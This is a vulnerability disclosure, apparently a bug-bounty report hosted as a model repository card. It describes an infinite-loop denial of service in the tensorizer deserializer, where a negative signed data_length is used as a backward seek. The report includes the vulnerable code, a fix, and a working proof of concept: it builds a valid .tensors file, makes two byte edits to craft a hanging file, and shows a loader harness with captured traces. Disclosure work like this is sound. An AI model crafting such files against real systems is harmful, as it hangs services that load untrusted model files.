You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Infinite-loop / CPU-exhaustion DoS in TensorDeserializer via negative signed per-tensor-header data_length used as an unchecked backward stream seek

  • Target: tensorizer (CoreWeave)
  • Affected version: 2.12.1 (latest on PyPI at time of report; unmodified install)
  • Vulnerable component: tensorizer/serialization.py β€” _TensorHeaderDeserializer / TensorDeserializer._bulk_load_uncached._copy_thread
  • CWE: CWE-835 (Loop with Unreachable Exit Condition / Infinite Loop) resulting from CWE-20 (Improper Input Validation) of a signed, attacker-controlled relative seek offset
  • Impact: Denial of Service β€” a single malicious .tensors file causes the deserializer worker thread to spin at ~100% CPU forever while the main TensorDeserializer(...) call blocks and never returns.

Root cause

The per-tensor header data_length is parsed as a signed 64-bit integer:

# tensorizer/serialization.py:628
class _TensorHeaderDeserializer:
    data_length_segment = struct.Struct("<q")   # "<q" == signed 64-bit little-endian

It is read at serialization.py:719-722 and stored on the header object without any bounds check.

In the bulk-load worker _copy_thread, per-tensor headers are read sequentially in a loop over the tensors that need loading, starting from begin_offset:

# tensorizer/serialization.py ~3051 / ~3076
while tensors_read < len(tensor_items):
    header = _TensorHeaderDeserializer.from_io(file_, ...)   # serialization.py:650
    ...
    if header.name not in <names being loaded>:
        # skip branch β€” serialization.py:3091-3093
        file_.seek(header.data_length, io.SEEK_CUR)   # attacker-controlled SIGNED value, NO validation
        continue                                      # NB: tensors_read is NOT incremented
    ...
    tensors_read += 1

When a per-tensor header's name is not among the tensors being loaded, the skip branch performs a relative seek by header.data_length and continues without incrementing tensors_read. Because data_length is signed and unvalidated, a negative value (e.g. -header_len) seeks the stream backward to the start of the very same header. The loop then re-reads the identical header, takes the same skip branch, seeks backward again, and repeats forever.

  • The worker thread spins at ~100% CPU inside _TensorHeaderDeserializer.from_io (serialization.py:650).
  • The main thread blocks on transfer_out_queue.get(timeout=3600) inside _bulk_load_uncached (serialization.py:2985), so TensorDeserializer(...) never returns.

This is a control-flow infinite loop: data_length is used as a relative seek() offset, not as an allocation size.

Fix

Reject data_length < 0 (and bound the forward skip against the remaining stream length) before calling seek() in the skip branch.


Proof of concept

A valid single-tensor file is first built with the real TensorSerializer:

# build.py
t = torch.arange(8, dtype=torch.float32)        # tiny real tensor
ser = TensorSerializer("valid.tensors")
ser.write_tensor(0, "evilname", TensorType.PARAM, t)
ser.close()
# -> valid.tensors, 262,338 bytes
#    header_offset = 262217, header_len = 81
#    signed <q data_length field at file offset 262290
#    name bytes at 262230

Two byte edits β€” both fully within an attacker's control of the file bytes β€” craft the exploit (craft.py):

  1. Flip one name byte at offset 262230: 0x65 'e' -> 0x58 'X', so the per-tensor header name "Xvilname" differs from the metadata-index name "evilname". This forces the skip branch at serialization.py:3091.
  2. Set the trailing signed <q data_length (offset 262290) to -81 (= -header_len).

Loading with:

# loadchild_fh.py
import sys, faulthandler
faulthandler.dump_traceback_later(4, exit=True)   # dump stack after 4s, then exit
from tensorizer import TensorDeserializer
d = TensorDeserializer(sys.argv[1], device="cpu", lazy_load=False)
print("LOADED", list(d.keys()))

The worker seeks to 262217, reads the 81-byte header (pos -> 262298), sees the name is not in the load set, seeks -81 back to 262217, and repeats forever.

Files

  • build.py β€” builds valid.tensors with the real serializer
  • parse.py β€” locates header offsets / field positions
  • craft.py β€” applies the two byte edits to produce the malicious + control files
  • loadchild.py, loadchild_fh.py β€” loader harness (the latter with a faulthandler watchdog)
  • valid.tensors β€” unmodified, valid baseline
  • evil_infinite.tensors β€” name-flip + data_length = -81 (the exploit)
  • ctrl_zero.tensors β€” name-flip + data_length = 0 (control)
  • ctrl_posdl.tensors β€” name-flip + data_length = +32 (control)

Captured evidence (verbatim)

=== EVIL: negative data_length = -header_len (expect HANG -> timeout) ===
exit=124 (124=timeout=hang)

=== faulthandler stack dump after 4s of spinning ===
Timeout (0:00:04)!
Thread 0x00007fd9f3c296c0 (most recent call first):
  File ".../tensorizer/serialization.py", line 650 in from_io
  File ".../tensorizer/serialization.py", line 3080 in _copy_thread
  ...
Thread 0x00007fda39fe1200 (most recent call first):
  File ".../tensorizer/serialization.py", line 2985 in _bulk_load_uncached
  File ".../tensorizer/serialization.py", line 2005 in __init__
  File ".../seek-poc/loadchild_fh.py", line 4 in <module>

=== CPU sample during spin ===
    PID %CPU STAT     ELAPSED COMMAND
 654789  151 SNl        00:03 python3

=== CONTROLS (isolating negativity as the cause) ===
baseline keys: ['evilname']                              # unmodified valid.tensors loads
ctrl_zero  (name-flip + data_length=0):   MemoryError -> terminates (exit 1)
ctrl_posdl (name-flip + data_length=+32): ValueError: Unexpected empty header -> terminates
evil_infinite (name-flip + data_length=-81): TIMEOUT 124 -> infinite loop hang

installed version 2.12.1  (PyPI, unmodified)

What the controls prove

  • Unmodified valid.tensors loads fine (keys: ['evilname']).
  • name-flip + data_length = 0 terminates (MemoryError at a bogus re-read offset).
  • name-flip + data_length = +32 (positive) terminates (ValueError: Unexpected empty header).
  • Only the negative data_length hangs.

This isolates the negativity of the signed seek offset β€” not merely the name mismatch or a non-zero skip β€” as the specific cause of the infinite loop.


Dedup / distinctness note

This is distinct from the two prior tensorizer findings:

  • header_len unbounded bytearray allocation (memory exhaustion via an allocation-size field β€” CWE-789/400). Repos: huntr-r3-tensorizer, tensorizer-unbounded-alloc.
  • Meta-tensor shape zero-fill allocation bomb (memory exhaustion via shape product β€” CWE-789/400). Repo: huntr-poc-dos-tensorizer-meta-shape.

Both prior findings are memory-exhaustion via allocation-size fields. This finding is a control-flow infinite loop: data_length is used as a relative SEEK, not an allocation β€” a different field-usage, a different CWE (835 vs 789/400), and a different failure mode (CPU spin / hang vs OOM).

Notably, the earlier datalen-poc investigation examined data_length only as an unsigned allocation vector and dismissed it as a negative result (torch.empty is lazy); it never considered the signed value being fed to seek(). Dedup-checked against HF repos huntr-r3-tensorizer, tensorizer-unbounded-alloc, huntr-poc-dos-tensorizer-meta-shape and the local datalen-poc / meta-poc notes β€” none cover the negative-seek loop.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support